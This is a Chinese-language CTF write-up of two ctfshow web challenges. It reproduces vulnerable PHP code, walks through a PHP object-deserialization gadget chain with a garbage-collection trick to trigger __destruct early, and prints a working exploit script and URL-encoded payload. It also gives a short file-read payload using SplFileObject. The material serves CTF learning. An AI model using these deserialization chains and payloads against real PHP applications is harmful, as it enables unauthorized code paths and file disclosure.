ctfshow卷王杯web部分[easy unserialize&easy web]
easy unserialize
点击这里观看体验更佳 (经过大佬的指点,我在后面加了一种GC利用的新姿势在这个站里)
<?php
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}
这道题有幸拿到了二血,这道题做了之后学会了几个新姿势,我接下来分开来讲
-
了解__destruct()魔术函数的调用条件
__destruct()方法又叫析构函数,当程序结束销毁的时候自动调用,看下这道题中的代码
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
这里有个throw函数,大概是抛出一个异常,然后让程序异常退出,这个时候就是未正常退出的情况,所以不会调用__destruct方法,这里我们就要想办法在throw函数执行之前调用析构函数,目前我知道的调用该函数的方法如下
- 等待程序完整执行完毕,也就是解释完最后一行代码,这也是我们最常用的方法
- 利用GC回收机制,比如
<?php
highlight_file(__FILE__);
class Demo{
public function __destruct()
{
echo "Running method <destruct>";
}
}
$a=new Demo();
throw new Error("this is a test");
然后我们把null赋值重新加上
发现成功执行了__destruct函数,这也就是利用了GC回收机制让这个对象提前销毁,具体的GC回收机制可自行百度
那么这道题我们要怎么绕过呢,这里我们可以利用反序列化的性质来做,反序列化时从左到右的顺序进行重构的,所以我们只要构造出以下类似的结构就行
a:2:{i:0;O:4:"Demo":0:{}i:0;N;}
这个payload可以由下面这个demo获取得到
<?php
highlight_file(__FILE__);
class Demo{
public function __destruct()
{
echo "Running method <destruct>";
}
}
$a=new Demo();
$b=null;
$c=array($a,$b);
echo serialize($c);
即定义一个数组,其中有两个值,第一个为实例化的对象,第二个为另外随便的一个值(这里赋null以外的值都可以),然后会得到``a:2:{i:0;O:4:"Demo":0:{}i:1;N;} ,将其改为 a:2:{i:0;O:4:"Demo":0:{}i:0;N;} 也就是将第二个反序列化的序号改为0,这样就实现了对Demo这个对象的重新赋值,达到了提前是对象摧毁的效果
- 最后一种就是利用unset()主动销毁,这里显然我们不能,所以忽略
现在算是过了第一关了,那我们开始审链子
-
不难发现我们最后是要调用one::MeMeMe,然后进入链子的起始点为one::destruct,顺着起始点往下跳
public function __destruct() {
@$this->object->add();
}
这里调用了一个add的方法,由此可以跳到second::__call
进入second::__call:
此时调用了一个回调函数call_user_func([$this, $func."Me"], $args); 分析一下他具体的调用结果,首先第一个参数[$this, $func."Me"] 这是数组调用类方法的方式,其中$fun 的值为访问的那个函数名,也就是add,所以总结下来其实就是访问second::addMe,然后再关注second::addMe
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
这里将filename的成员变量与一个字符串相连接,很容易想到__toString 方法,然后就不如到了one::__toString
public function __toString() { return $this->object->string; }
这里访问了string属性,可以想到__get ,然后跳到third::__get
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
分析一下,变量var的值为
t
h
i
s
?
>
this->
this?>name,也就是$this->string,然后调用一个方法,其中name的值不可控,var的值可以通过修改string的属性来控制,也就是说这里就能动态调用了
梳理一下链子如下
one::__destruct => second::__call => second::addMe => one::__toString => third::__get => one:MeMeMe
-
链子找到了,就要想办法实现,这里有个问题就是这里存在反复调用的问题,也就是one对象到second对象,然后有条回来,这样可能不能反复赋值,因为这样的话就进入死循环了,所以我们可以实例化两个one对象进入
具体的实现方式exp如下
<?php
highlight_file(__FILE__);
class one {
public $object;
public function __construct()
{
$this->object=new second();
}
}
class second {
public $filename;
}
class third {
private $string;
}
$a=new one();
$b=new one();
$c=new second();
$d=new third("haha");
$b->object=$d;
$c->filename=$b;
$a->object=$c;
echo urlencode(serialize($a));
然后带入自己本地调试的文件中结果如下
?
<?php
highlight_file(__FILE__);
class one {
public $object;
public function MeMeMe() {
echo "<br>hahahaha";
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
echo "<br>Enter the tostring method";
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
echo "<br>addMe";
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
echo "<br>Enter the call method";
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
echo "<br>Enter the get method!!!!!";
$var = $this->$name;
$var[$name]();
}
}
$a=unserialize($_GET['s']);
成功进入__get方法 ,如果我们只实例化一个one对象的话,可能就不能出现循环的问题了。另外这里我到一个php7的特性,使得绕过protect成员属性(对protect不敏感)
-
然后就是想办法进入到one::MeMeMe方法,然后拿到flag
终点看下这个函数
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
由于网上的关于array_walk的讲解大多数都是使用数组,所以我们可以写个demo来实验一下他对类的用法
<?php
highlight_file(__FILE__);
class Demo
{
public $object="this is value";
public function MeMeMe() {
array_walk($this, function($fn, $prev){
echo $fn."|".$prev;
});
}
}
$a=new Demo();
$a->MeMeMe();
可以看到array_walk函数的作用就是遍历自定义函数,其中$fn的值为成员的值,prev为成员变量的名字,这里可以多设置几个成员属性来验证一下,我这里就偷懒没写,因为我之前已经写过了哈哈,也就是说我们要满足这个if条件就要添加一个如下的属性
public $year_parm=array("Happy_func");
-
接下来就是想办法怎么在third::__get()里面怎么调用one::MeMeMe,最开始我想的是直接传入"one::MeMeMe",结果发现这样就不能自己设置成员属性了,所以这里我改用了另外一种方法,使用数组调用类方法 ,也就是传入这个payload
[new one(),"MeMeMe"]
然后再exp里面添加上上面成员属性就可以了,这里可以看到前面那个回调函数也使用了这一方法
-
最终exp
<?php
highlight_file(__FILE__);
class one {
public $object;
public $year_parm=array(0=>"Happy_func");
}
class second {
public $filename;
}
class third {
private $string;
public function __construct()
{
$this->string=array("string"=>[new one(),"MeMeMe"]);
}
}
$a=new one();
$b=new one();
$c=new second();
$d=new third("haha");
$b->object=$d;
$c->filename=$b;
$a->object=$c;
$n=null;
$payload=array($a,$n);
echo urlencode(serialize($payload));
然后再修改一下得到payload
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D
easy web
php数组键溢出,php原生类操作文件
首先可以令c=9223372036854775806绕过第一层,然后根据提示使用glob://协议读取到flag文件名,最后使用SplObjectFile类读取文件
其中获取文件名的时候可以爆破md5值得第一位数
payload如下
c=9223372036854775806&a=SplFileObject&b=flag56ea8b83122449e814e0fd7bfb5f220a.php
|